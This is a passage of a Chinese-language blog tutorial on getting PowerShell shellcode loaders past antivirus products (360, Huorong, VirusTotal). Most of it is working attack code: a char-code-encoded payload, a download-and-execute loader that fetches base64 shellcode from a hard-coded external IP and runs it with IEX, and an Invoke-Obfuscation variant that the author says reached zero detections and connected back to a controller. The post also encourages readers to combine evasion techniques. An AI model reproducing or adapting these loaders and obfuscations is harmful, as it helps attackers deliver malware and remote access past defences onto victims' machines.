71, 85, 111, 74,48, 49, 53, 82 , 71 ,86 , 115 ,90, 87,100,104 , 100, 71 , 86, 85,101, 88 ,66, 108 , 74 , 121 , 119 ,103 ,74 , 48 ,78, 115 , 89,88, 78 ,122, 76 , 67 , 66 , 81 ,100 , 87, 74, 115 , 97 ,87,77,115 , 73 , 70, 78,108 , 89 , 87 , 120 ,108 ,90 , 67 ,119, 103 , 81 , 87 ,53, 122,97,85,78 ,115,89 , 88,78,122 ,76,67 , 66,66, 100, 88 , 82 ,118 , 81, 50, 120 , 104, 99 , 51,77,110 ,76 , 67, 66,98, 85 ,51, 108 ,122 , 100 ,71 ,86 , 116, 76 , 107 , 49,49 , 98,72, 82, 112 ,89,50 ,70 ,122 ,100,69 ,82, 108, 98,71 , 86,110 , 89,88, 82, 108 ,88, 83 ,107 , 75 , 67,83 , 82, 50, 89 , 88 ,74, 102 , 100, 72, 108, 119 , 90 , 86 , 57, 105,100,87, 108 ,115, 90,71 ,86 ,121 ,76 , 107,82 ,108 ,90, 109 ,108, 117 ,90 ,85 ,78 , 118,98 ,110 ,78, 48 ,99, 110 ,86 ,106,100, 71, 57,121 , 75 ,67 , 100, 83, 86, 70 , 78 , 119 ,90,87,78,112, 89 , 87, 120 , 79 , 89 , 87, 49,108, 76,67 , 66, 73, 97,87,82, 108,81,110 ,108 , 84,97 ,87 , 99, 115, 73, 70,66, 49 ,89 ,109 ,120 , 112,89, 121 , 99,115 , 73 ,70 , 116 ,84 ,101,88,78, 48 , 90,87,48 , 117, 85 ,109, 86,109 , 98, 71 , 86 , 106,100 , 71,108, 118,98 ,105 ,53, 68,89 , 87 ,120 , 115,97, 87 , 53,110,81 , 50 ,57, 117,100,109 , 86 ,117, 100 ,71 , 108,118, 98 , 110, 78,100 ,79,106, 112, 84, 100 ,71, 70 , 117, 90, 71 ,70, 121, 90 , 67 , 119 ,103,74 , 72, 90,104 , 99,108 ,57 , 119, 89, 88 , 74,104,98, 87 , 86 , 48 ,90 , 88 , 74, 122,75, 83 , 53, 84 ,90, 88 ,82 ,74, 98, 88,66,115, 90 , 87,49, 108, 98 ,110,82,104 , 100,71 , 108 ,118,98 , 107, 90 ,115,89, 87,100 , 122,75 , 67 ,100,83 , 100,87,53 , 48 ,97, 87,49,108 ,76 , 67,66 ,78, 89, 87 , 53 ,104 ,90 ,50 , 86, 107 , 74 ,121, 107 , 75 ,67 , 83 ,82 , 50 , 89, 88 , 74,102, 100 , 72 , 108,119 ,90, 86,57 , 105 , 100 , 87 ,108 ,115 , 90, 71, 86 , 121,76 ,107 ,82,108,90 , 109,108 ,117 ,90,85 ,49, 108 , 100,71 , 104 ,118 , 90,67 ,103, 110 , 83 , 87, 53,50, 98 , 50,116 ,108, 74 ,121, 119, 103,74 , 49 , 66 ,49,89 ,109 ,120 ,112 ,89, 121,119 ,103 , 83 ,71 ,108,107 , 90, 85,74,53,85, 50 , 108, 110 ,76,67 , 66, 79 ,90 ,88 ,100,84, 98,71 , 57, 48,76 , 67 , 66,87, 97, 88 , 74 , 48, 100 ,87 ,70,115,74 , 121 ,119,103 ,74, 72 ,90 , 104,99 ,108 ,57 ,121 ,90 , 88,82 , 49 ,99 ,109 , 53 ,102 ,100,72,108 , 119,90 , 83,119,103 , 74,72 ,90 ,104 , 99 ,108 ,57,119 , 89, 88 , 74 , 104 ,98 , 87 ,86,48,90 ,88 , 74, 122 , 75 , 83 , 53,84, 90 , 88 , 82 ,74 ,98 ,88 , 66, 115 ,90,87, 49,108,98,110, 82 ,104, 100,71 ,108, 118 , 98, 107 ,90, 115, 89, 87 ,100,122 , 75 ,67, 100 , 83 , 100 , 87 , 53 , 48 ,97 , 87 ,49, 108 ,76 ,67, 66 ,78 ,89,87,53 ,104 , 90,50,86 , 107, 74 ,121 , 107,75 , 67 ,103, 108,121, 90, 88,82 ,49 ,99,109,52 ,103,74 ,72, 90 ,104,99 , 108 ,57,48 , 101 ,88, 66 , 108,88 ,50 ,74 ,49 , 97, 87 ,120 , 107 , 90 , 88 ,73, 117,81,51, 74, 108, 89 ,88 , 82, 108 , 86,72,108, 119 , 90,83, 103 , 112 ,67,110, 48,75 ,67 , 108,116, 67 ,101 , 88,82 , 108 , 87 ,49, 49, 100,74, 72, 90 ,104,99, 108, 57 ,106 ,98,50 ,82 ,108 ,73 , 68 ,48 ,103 , 87 ,49 ,78, 53 ,99,51,82 ,108 ,98 ,83 , 53,68 , 98,50 , 53, 50 , 90, 88 ,74 ,48 ,88,84 , 111 ,54,82,110, 74,118,98, 85 , 74 , 104,99 ,50 ,85, 50 ,78 ,70, 78 , 48 ,99, 109, 108,117,90 , 121 , 103, 110 , 77, 122, 104 ,49 ,99, 85 , 108,53, 84 ,87 ,112 , 82 , 78 ,110 ,74, 72 ,82,88, 90 ,71,83 , 72,70 , 73, 82 , 86 ,82,120,83 , 69, 86,50 , 99 ,85 ,104 , 70, 77, 51, 70 , 71 , 82,85 , 120, 77 , 83,108 , 74 ,119 , 81, 108, 74,77,89 ,48,86 , 49 ,84,49, 66 , 73, 77,69, 112,109 ,83 , 86, 69 , 52 ,82 ,68 ,82, 49, 100,51, 86 , 74 ,100 , 86, 82, 67 , 77,68,78 , 71 ,77 , 72 , 70, 73 , 82 ,88, 112, 120, 82 , 48, 86 , 109 ,83, 88, 90, 80,98 , 49 ,107 , 120 ,100,87,48 ,48,77, 87 , 82,119, 83 ,88,90 ,79 , 101, 110 , 70 ,72 , 99,122, 100 ,120 ,83, 72, 78 , 69 , 83 , 88,90,69, 81,85 ,103, 121,99 , 87, 57 ,71, 78 , 109 , 100,112, 79 ,86,74,77 , 89 , 48,86,49, 84,49,65, 48 ,100 , 88,100, 49, 83, 88,86 , 82,89 , 110 ,99, 120 , 89, 108 , 104,74 , 82 ,106 ,100,105,82 ,48 , 89, 48,83, 70, 90 ,122 ,82,106 , 100 ,120 ,83,72 , 78, 73,83 , 88, 90, 67 , 82 , 110 ,70 ,68 , 79 , 87, 57 , 120 , 83, 72 ,77, 118 ,83,88, 90,68 ,98, 48,111,50,90,50 , 107 , 52 ,78, 110 ,66 ,117,81, 110 ,100 , 107,78 , 71,86 ,70, 83 ,106 ,90,108 , 87 ,69 ,120,106,100 , 122 , 78, 48 , 79,71 ,86 , 104,90,51 , 104, 53, 83,49, 89 , 114 , 85,122 , 65,120, 82, 49,90 , 53,84,107,120 ,87 ,82 , 88, 66, 79 , 85 ,50, 53, 107 , 84, 71, 73, 120 ,85, 85,90, 75 ,84 , 110, 111 ,121 ,82,88 ,82 , 52 , 77 , 71,82, 73 ,85, 106,66, 107 , 82 ,88,78, 97 ,90, 70, 90,120,82 ,84,78,81 ,89, 107 , 116 , 119, 101 ,85 ,49 , 113, 83 ,84, 78 ,110 ,85 ,122 , 90,117, 83, 110 ,108 , 84, 85,48 ,74,53 ,89, 50, 116 , 49 ,90, 69, 53 ,112, 84, 87,112 , 106 , 83, 69,53 ,77 ,90 ,69 ,116, 120 , 79 ,68, 86, 107 , 101, 106, 74 ,53,82, 107, 52 , 48, 82 , 88 , 90 ,71, 101, 70, 78, 53 ,84, 87, 104,90 , 78 , 109 , 82, 52,89 , 49, 104,71 , 100 , 50,78 , 89,84,107 , 120, 53, 83 , 70, 108,79,82, 48 , 53,54,77 , 110 , 70,49,86 , 50, 99, 48, 83,69 ,49, 84, 77 , 48, 104, 83, 77,70 ,78 , 107 ,101 , 72 ,100 ,107 , 86 , 88 , 78,80 ,83 , 108 ,82, 48, 87, 84,78, 81, 89 , 87, 48, 48 ,101 , 88 , 108 ,117 ,78 ,69 , 78, 74, 97 ,107, 108,52 , 84, 71, 78, 119 ,100 , 70 , 90 ,89 , 83, 106, 90 ,121 ,89 , 88, 108, 68, 99 , 69, 120, 112 ,90,87, 74 , 67, 90 , 110 , 82 ,54 , 77,110,70 , 49, 83 ,107,120,97, 90 ,48 ,111, 53,82,88,82 ,54 , 77,107 , 86, 48,101,68 , 66,84,85 ,49 , 74 , 53 ,90, 70 ,104,79,84 , 71, 120 ,73 ,86 , 69, 82, 76, 84 , 110 , 111, 121, 98,107, 78 ,78, 84 ,85 , 108 ,53 ,84, 87,69,49,82, 109, 86 ,86, 82 , 88 ,82 ,54, 83,51, 78, 112 ,83, 87, 112 , 74, 79,72 ,74, 120,83 , 87 , 108 ,78 ,97,110 ,107 , 50 , 97, 109,77,122 , 84,110 , 100, 78,86,84 , 65 , 52 ,86, 109 ,70 , 84,85 , 70,103 , 122,97 , 122, 70, 75 , 90 ,71, 116, 75 , 85 ,48, 70, 116 , 98,51,74, 73 , 78 ,71,115, 52, 85, 68 ,104, 120, 99,85 , 48 , 118 , 86, 87, 108 , 116, 100 ,49 ,82, 77, 83,106, 66, 85, 77,108 ,82, 90 , 75, 49 , 70, 116, 99 , 70,86 , 104,86 , 71 ,85, 48 , 86 , 68 ,90 ,77 , 84, 68 , 100,81 ,82, 108, 85, 53 ,89 ,48,82,69 ,97 ,86, 108 ,71, 99,121 ,116 ,120, 90, 109 , 112, 54 ,85 ,106 ,70 , 82 ,83 , 110 , 100, 54,90 , 72 ,77 ,118 , 85 ,69,70, 76 , 98, 50, 120,110,97,88, 111,122,78, 110 , 90, 72 , 78 ,68, 69, 48, 100,88,90, 50 , 77, 122 ,77 , 122,99 ,88 , 74 , 74 , 77 , 49, 112 ,82,85 ,109 , 120,70,84, 49, 108,114 , 85,107 , 100,85 ,86,109 ,78, 97 , 81 , 84 , 73, 49,84 ,86 ,100, 86, 99 ,70, 66 ,85, 77, 69, 108 ,78 ,82 , 110,99,119 ,86 , 69 ,70 , 51 , 100 , 69 , 70 ,85 ,82 ,84,86, 85, 85,87 , 120,107,83 , 49,70,86 , 79, 85,100 , 72, 81, 85 ,53, 49 ,89 ,48 ,100, 119 , 98, 85, 70 ,52,99,48 ,53, 70,101, 71 , 100 ,69, 90,69,86 , 119, 84 ,108,73, 119,101 , 70 , 86 , 86 , 81, 85, 53,48 , 90 , 72,100,78, 86 , 107 ,82 ,83,83,85,116 , 77 ,97, 87, 116 ,113 ,84 , 110,86 , 85, 90 , 122,74 , 89 ,79 , 68,100 , 75,101,109, 86, 81 , 101, 83,56 ,48 ,86, 87 ,108 , 53 , 90 , 49 ,90 ,67, 87, 85 , 70, 75, 85 , 110,78 ,82, 99 ,88,70 ,54, 101, 107 ,81, 121 ,90 ,110 ,78 , 90,79, 72,103, 118 ,79 , 68 ,66,48 , 98 ,110 , 66, 52 ,84 ,88, 112 ,88,75, 48 ,70, 72,99, 85 ,120,104, 78 ,107 , 69, 121 , 86,49,70 ,122 ,97 , 110 , 100,76 , 83 ,88 ,104 , 88 , 101 , 71 ,116 , 54 ,100,107 , 78 ,104 , 99, 71,90 , 52 ,99,69 ,103,120 , 82 ,88 ,74, 105,84 ,109, 99,122 , 100 ,109, 78,67 ,81 , 50 , 82,78 , 86,107 , 86 , 50, 84,84,82, 90, 78 ,88 ,82, 111, 89,107,57,50, 97,121, 115,114 , 77 , 85, 108 ,113,90, 71,112 ,86,83, 69 , 104, 52 ,90,85,86,68,85, 67 , 57,81,82 ,85,108,89,85, 50 , 120 , 78,99 ,67,116, 116, 97,86 , 99 ,49,85 , 87 ,104 ,111,78 ,109,52 ,120 , 84,70, 70 ,51, 86 , 109,116 ,48 , 101,68 , 90,77 , 97 ,68,99 , 122 , 77 , 48 ,119, 120, 77 , 87 , 120 ,52, 97, 86,104 ,121,87 , 109,90,49,82, 88 , 78 , 117, 99 ,110,85,51, 97 , 109, 111 ,122 ,100,71, 70 , 116, 99 , 69, 100 ,111 ,83,108, 78 ,84, 98, 48 , 116 , 97, 90 ,69 , 86, 113, 89, 86,100 , 104, 77,49 ,103 ,122,81, 48 , 120,116,82,109, 104, 109 , 85 , 110, 100, 106, 99, 86 ,86 , 82, 83, 108 ,108 , 69 ,101,69,78,87, 87 ,110 , 74 , 121 ,100 , 86,66, 77,78, 71 , 116 , 111, 97 , 107 ,73 , 50 ,99,84 , 100 ,117,98, 109 ,103 , 120, 98 , 51 , 74 , 90,87, 69 , 115, 49, 83, 85,74 ,87,86,87 , 112, 110 , 81, 88 ,100 , 87, 77 , 108 ,89, 49,90 , 72, 70,80, 100 , 122, 78 , 97, 100, 69, 74 ,97,85, 88, 73,114, 90, 122,74 , 109,79,68, 66, 49,84,122 , 99 , 114,83 , 109,53 , 119,97,121, 116 ,122 , 77,69 , 49 ,74, 79 ,87,86, 110, 99 ,68, 78, 48 , 81 ,106 , 85,122, 90 ,107,56 ,51, 85 , 85 ,53, 107 , 100,69, 108 , 117 , 99 ,108 , 99 , 53,86 , 70 , 111,52,86,48 ,108, 110,85, 48 ,49, 73, 97 , 69 , 57, 74 ,83 , 110 , 86, 107,97 ,69 , 112 , 104 ,77 ,48, 108 ,112,84, 107 , 119 , 119 , 78 , 87, 70 , 67,90, 71 ,82 ,54, 77, 108 , 78, 88,84 ,107 ,120, 74 ,101 , 107,49,113,83 , 84, 66 , 122, 97 , 107, 107 , 121 ,84,87 , 112 ,107, 82, 88 ,81,51 ,97 ,68,78,69,82, 122 ,78,81, 89,88 , 100, 116, 97, 85 ,49 , 113 ,83, 88 ,108 ,78 , 97,83, 116 , 117, 83 , 110 ,100 ,120, 99 ,49, 73,119,85 , 51, 108 ,78, 82, 69 , 108 ,53 ,84, 110,100 , 107, 86 , 88,78 , 52, 100 , 71 , 70 , 121 ,81 , 106,78 ,81 ,89 ,87, 48 , 48 ,77,87,90 ,115, 99 , 85 ,78,82 ,97 ,84,82 ,76,89 , 109,112, 87 ,99 ,49 ,111 , 51, 78,69, 49,49 ,83 ,122,78 , 48, 101, 109 ,78 , 71 , 101 , 70 , 70,79,82,87 ,104 ,74 ,85 ,85 ,82,83 ,82 , 86 ,78, 71 ,81 ,84, 66 , 84 ,82, 86 , 74 ,122 , 97 , 107 ,49 ,83, 90 ,68,70,88 ,100 , 122, 48, 57 ,74, 121, 107 ,75,67,109,90 ,118 , 99,105, 65 , 111 ,74 , 72 ,103, 103 ,80,83 ,65, 119,79,121 ,65 , 107, 101, 67,65 , 116 , 98, 72,81 ,103, 74, 72,90 ,104 ,99,108 ,57,106, 98 ,50 ,82, 108 , 76 ,107 ,78 , 118 , 100, 87, 53, 48 ,79 , 121, 65,107 , 101,67 ,115, 114 , 75,83 ,66 ,55,67,103, 107 , 107 ,100, 109 ,70, 121 ,88 ,50,78 ,118 ,90 ,71,86,98, 74, 72 ,104 , 100,73 , 68, 48 , 103 ,74, 72 ,90, 104 , 99,108 ,57,106, 98, 50, 82, 108, 87, 121,82 ,52,88,83 ,65 ,116,89, 110,104, 118 ,99,105 , 65 ,122, 78,81 ,112, 57,67, 103, 111 ,107 ,100, 109 , 70 , 121 , 88 , 51 , 90 ,104, 73, 68,48 ,103 ,87, 49, 78 , 53, 99 ,51 ,82,108 , 98 , 83, 53 ,83 ,100 ,87,53 ,48 , 97,87 ,49, 108 ,76 ,107,108 ,117, 100 , 71, 86 ,121 , 98 ,51,66,84 , 90,88,74 ,50,97, 87 ,78 , 108,99 ,121, 53,78, 89 , 88,74, 122, 97,71 , 70 ,115,88, 84 ,111, 54 , 82 ,50 ,86, 48 , 82, 71 ,86 , 115,90 ,87 , 100, 104, 100,71 , 86 ,71 ,98 ,51 , 74, 71 , 100, 87 , 53 ,106 , 100, 71 ,108 ,118 ,98, 108,66,118, 97, 87, 53 , 48, 90 , 88,73 , 111 , 75, 71 , 90,49,98,109, 78 , 102 , 90, 50 , 86, 48 ,88 ,51,66,121,98, 50 ,78 , 102,89,87, 82 , 107, 99 ,109 ,86, 122 , 99 ,121 ,66, 114 , 90,88,74, 117,90 , 87, 119, 122 ,77,105, 53,107,98 ,71 , 119, 103 ,86,109 , 108,121, 100, 72 ,86 ,104,98,69, 70 ,115 , 98 , 71 ,57, 106 , 75, 83 ,119, 103,75 ,71,90 ,49 , 98, 109 ,78 , 102 , 90,50, 86, 48 ,88,50,82 , 108,98 , 71, 86, 110, 89 ,88,82 ,108, 88,51,82 ,53 ,99 , 71 ,85,103 ,81 ,67 ,104, 98, 83 ,87,53 , 48 ,85, 72 , 82 , 121 , 88 ,83 , 119 ,103,87 , 49, 86,74, 98 , 110 ,81 ,122 ,77,108, 48, 115 , 73 , 70 ,116, 86 ,83 ,87, 53 , 48,77 ,122 , 74,100, 76,67, 66, 98 ,86,85 , 108,117 , 100, 68 ,77, 121, 88 ,83,107, 103 ,75,70 ,116 , 74 , 98 ,110,82, 81 , 100,72,74 , 100 ,75, 83 , 107,112,67 ,105,82, 50 ,89 , 88 , 74, 102 , 89 , 110 , 86, 109 ,90 , 109, 86 ,121,73,68, 48, 103,74,72,90 , 104,99 , 108,57 ,50,89 ,83, 53 ,74, 98,110 , 90, 118 , 97 , 50, 85, 111,87, 48, 108,117 , 100, 70, 66, 48,99,108 , 48,54, 79, 108, 112 ,108 ,99 ,109,56,115 , 73 ,67,82 , 50, 89,88 , 74,102, 89 ,50, 57 , 107 ,90 , 83, 53 ,77 ,90, 87, 53 ,110 , 100, 71, 103,115, 73, 68, 66, 52 , 77,122, 65 ,119,77, 67 , 119 ,103, 77, 72 , 103,48,77 ,67 , 107 , 75, 87 , 49,78 ,53,99 ,51 ,82,108, 98 , 83 , 53, 83 , 100, 87 , 53, 48 , 97 ,87,49 ,108,76, 107, 108,117 , 100, 71 , 86 , 121, 98, 51, 66 , 84 , 90 , 88 , 74 , 50 ,97 , 87, 78 , 108, 99 , 121,53 , 78, 89 , 88 , 74, 122 , 97,71, 70 ,115, 88, 84 ,111, 54 ,81 ,50, 57,119 ,101 , 83 ,103, 107 , 100 , 109,70 , 121 ,88 , 50, 78,118 ,90 ,71,85 , 115 , 73 , 68 ,65 , 115, 73,67,82 , 50 , 89 ,88 ,74 ,102 , 89, 110 , 86,109 , 90 , 109 ,86 ,121 , 76 , 67 , 65, 107 ,100 , 109 , 70,121,88 , 50 ,78,118 , 90 , 71,85 , 117 ,98,71 ,86 ,117, 90 , 51 ,82,111,75 , 81, 111 , 75 , 74 ,72 , 90,104, 99,108 , 57 ,121, 100 ,87, 53 ,116 ,90 ,83, 65, 57,73 , 70, 116 ,84, 101,88 ,78 ,48, 90,87 , 48,117,85 ,110,86,117 ,100 ,71 ,108 , 116 , 90, 83, 53 ,74, 98 ,110 ,82, 108 , 99 , 109 , 57 , 119,85 ,50 ,86 , 121, 100 ,109 , 108 ,106 ,90,88, 77 , 117, 84, 87 , 70 ,121, 99 , 50 ,104, 104 ,98,70 ,48 ,54 , 79, 107 , 100,108, 100 ,69 , 82 , 108,98 ,71, 86 , 110, 89 ,88 , 82 ,108 , 82 ,109 ,57 ,121, 82, 110,86 ,117 ,89 , 51,82 ,112,98, 50 , 53,81 ,98,50 ,108 ,117 , 100 ,71,86,121, 75,67,82,50, 89 , 88,74, 102 ,89,110 ,86 ,109 ,90 ,109, 86 , 121, 76, 67, 65 ,111,90 ,110, 86, 117 ,89 , 49,57 , 110, 90 ,88 , 82,102, 90,71, 86, 115 ,90 ,87, 100 , 104,100 , 71,86, 102 , 100, 72, 108 ,119,90 ,83, 66,65 ,75 ,70 , 116, 74 , 98, 110,82, 81,100,72 ,74,100, 75, 83 ,65,111, 87 ,49, 90 ,118 , 97 ,87 ,82,100,75, 83, 107 , 112 ,67, 105, 82, 50, 89, 88,74 ,102 , 99 ,110, 86 ,117,98, 87 ,85, 117 ,83,87 , 53 ,50 ,98, 50 ,116, 108, 75, 70 ,116 , 74, 98, 110, 82, 81,100 , 72 , 74 ,100 , 79, 106, 112,97, 90 ,88 , 74, 118,75 , 81, 61 ,61 , 10,39,64 ,10, 10 ,36,109 ,107,115, 101 ,99, 61,91 , 83 , 121,115,116, 101, 109, 46,84,101,120,116,46, 69,110 ,99,111,100 , 105,110,103 , 93 , 58, 58, 85 , 84,70 ,56 , 46 ,71,101,116 ,83 ,116,114 , 105 , 110 ,103 , 40,91,83, 121 , 115,116,101 , 109, 46, 67 ,111,110 ,118 ,101, 114 ,116 ,93 , 58, 58 , 70, 114, 111 , 109 , 66,97,115,101 , 54 ,52 ,83 ,116 , 114,105, 110,103,40, 36 , 68,111, 73, 116,41, 41 , 10, 10,73,102 , 32, 40,91,73, 110 , 116 , 80,116,114 , 93 ,58 , 58 ,115, 105, 122 , 101, 32,45 , 101 , 113 , 32 ,56,41,32 , 123 , 10 ,9 , 115 ,116 ,97 ,114,116,45 , 106,111,98,32,123, 32 ,112 ,97,114,97 ,109 , 40, 36,97 , 41 , 32, 73, 69,88,32,36 ,97 ,32 ,125 ,32 , 45, 82 ,117 ,110, 65 ,115 , 51 , 50 ,32 ,45 ,65,114 , 103, 117 ,109, 101,110 , 116, 32 , 36 , 109,107 ,115 ,101,99,32 ,124,32, 119, 97,105,116 ,45, 106 ,111, 98 , 32 ,124 ,32 ,82, 101 ,99 , 101 ,105,118 ,101 ,45, 74 ,111,98, 10,125 , 10 , 101, 108 ,115 , 101, 32, 123, 10,9,73,69,88 , 32 , 36, 109 ,107 , 115,101 , 99, 10 , 125 , 10) |FOREach-obJect{([CHAr] [int]$_) } ) -jOIN'' )

此时进行查杀某60过，某绒不过。

经过第一编码360绕过，火绒还是没有绕过，在进行第二次编码后某60过，某绒不过。

. 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'>'-sPLIT 'j' -SpLIT 'o' -SpLIt't'-SPLiT'V' -SPliT';' -splIT'{' -SPLIT'@'-SplIT'<' |%{([inT]$_ -AS[cHar])} )+"$(SET-ITeM 'vaRiaBLE:ofS'  ' ') ")

通过上面的实验又发现了什么问题呢？首先工具被杀的原因是什么呢？因为该工具已经被列入杀毒软件的指纹库，所以会被查杀，而powershell经过该工具混淆编码后还是被查杀，是由于杀毒软件已经检测到该编码后的内容是用该工具进行编码的，同样也会被查杀，这就好比菜刀、蚁剑、sqlmap等工具的流量等特征已经被明确的加入到杀毒软件的指纹库中，所以这些工具会被拦截。问题来了，既然会被查杀那么又有什么意义呢？换一种思路，刚刚我们是对所有的powershell脚本进行编码，那么如果我只对部分的代码进行编码又会出现什么样的情况呢？
这时我采用的是将第一开始经过base64编码的shellcode代码放置到远程服务器，然后下载执行。代码如下：

Set-StrictMode -Version 2$DoIt= ((New-Object System.Net.Webclient).DownloadString('http://47.113.217.128/ssyy.txt'))//当然这里还可以对http拆分$mksec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($DoIt))If ([IntPtr]::size -eq 8) {    start-job { param($a) IEX $a } -RunAs32 -Argument $mksec | wait-job | Receive-Job}else {    IEX $mksec}

此时又会出现什么样的结果呢？此时某绒不查杀，而某60在执行的时候还是拦截。而现在要做的就是将上面的部分代码利用Invoke-Obfuscation工具来进行部分编码，那么现在我就是利用该工具依次尝试对每段代码进行编码，再对start-job { param($a) IEX $a } -RunAs32 -Argument $mksec | wait-job | Receive-Job进行处理后，某60成功绕过，并且成功上线。
这里选了第五个进行编码，其他自己尝试，因为有太多种可能。

代码如下：

Set-StrictMode -Version 2$DoIt= ((New-Object System.Net.Webclient).DownloadString('http://47.113.217.128/ssyy.txt'))$mksec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($DoIt))If ([IntPtr]::size -eq 8) {    ( [RuNtime.INtERopserVIces.mArShAL]::([RunTiME.inTEROPservICeS.marshAL].GETmEmberS()[3].NAME).iNvOKe([RuNtImE.InteropSeRViCeS.MarSHAl]::SecUreSTriNGToBsTR( $('76492d1116743f0423413b16050a5345MgB8AFkALwBLAEIAdwA1AGsATQBiAGkATABNAGoAVgB2AE8AVQBJAEQAbQBSAGcAPQA9AHwAYwA4AGQAZgBkAGIAMQA1ADMAZQA4ADAAYwA5ADkAYQBiAGEAMQBlADgAMAA0ADQAZgAyAGIAMgBhADQAZAA1ADgAYQBjAGQAZQA5AGIAMQAwADYAZAA4AGQAZQAxAGEAZgBkAGUAZgA4ADkAMQAyADMAYgA2ADkAMgA4AGMAYQAxADUAMQBmADQANABkAGMAZgA2ADYAOQA4ADYAOAAxADUAMQAwAGEANwBmAGUANwAwADEAMwA1ADEAMgBlADkAOQAwADIAYgAxADgAZQAzAGYAYQBkADQAZgA1ADUAZgBiADcAOQBhAGYAZgA4ADcAOAAyAGQANwAzAGYAMgBiAGUAMQA2AGYAMgA0ADIAZQBjADUANwBiAGEANwBjADcAZgA3AGMAYwA2ADQAZQA5AGYANgBiAGQAYwA5ADIANwA5ADMAZgBlAGYAYwBlADMAZAAzADcAYgBhADMANAAzADEANABhADkAZgA1AGMANQAyADEAYgAzAGEAMQBjADYAYgA5ADMAOQAxAGEAMAA0ADQAOAAyADAAMAA4ADEANgBhADUAMgBiAGYAYgAyAGYAZgA4AGUAZQBkADkAOQAzAGMAMAA3ADcANwBlADIAZgA1AGYANQA3ADAAZQAyAGUAYwA1ADkAYwAyADYAOAAzADgANABiADQAZgBiAGUAZABiAGIAMQA2AGMAOABjAGIAZQBkADAAMQAzAGUANgBmADcAYQA5AGIAMgAwADUAMgBkAGEAMAA0AGUAZQA3AGQAMwAyADUAMABiADAAYQA5AGMAZAA2ADkAMwAyAGUAYgA2ADQANwBjADAAMAA3AGQAYwAwADQAZAA2ADQANAAxAGMAYgBmAGMAOAA3AGYAMgBmADAAYwA0ADAAOQAwADgAYgAzADcAOABmADUAZAA2ADMAMAA0AGQAMgBhAGMANQAyADgAOAAzADAAMwA2ADEAOAAxAGMAYQA3ADIAZQBjADMANwBhADUAZgBkADUAYwA5AGQAZABjADYAZQBlAGUAYQBkAGIAYgAxADcAOQAyAGMAOQBmADQAYQBiAGIAZQAxADMANwAxADAAMQBlAGUANAAzADIAMQAyAGEAOABmADAAZAAyAGQAYgAxAGUANQA1ADEAZAA2AGEANQBhAGEANwAwAGMAYwAwAGQANABjADQAZgA5AGIAMgA3AGIAYgBhAGEANAAzADEAZgAyAGIAZgBlAGMAYQBlAGQAOQAxADAANQAzADMANwAzADYAMgAwADcANAA1ADkAZABkADAA'|coNVERtTO-SeCuReSTrinG  -k (40..63)) ) ))| .((Get-VarIABlE '*mDr*').nAME[3,11,2]-JOIn'')}else {    IEX $mksec}

此时拿去vt上查杀，免杀率为0

这里需要强调一点，其实很多文章都有介绍一些免杀工具，很多免杀工具已经被杀毒软件列入指纹库，可以使用以上的方式，说不一定可以达到意想不到的效果。

总结

通过以上的分析我们要能够学到什么？其实并不是说自己能够复现一遍就行，因为免杀只是暂时的，公布出来很快就会被列入指纹库，我们需要做的是要能够清楚的知道上面的免杀方式，能够将多种免杀思路进行结合，好比在web攻击中cors+xss打组合拳一样来提升危害，而免杀思路也是一样的，将这些排列组合，那么免杀的方式将非常多，在最后的一个免杀中，我还并未将所有的免杀方式进行融合，vt免杀效果就为0，要是将所有的融入呢？免杀效果又会怎么样呢？可以自己尝试。免杀也是一个不断尝试的过程，要敢于尝试。通过这篇文章希望你对其他语言进行免杀时也能够触类旁通。

最后

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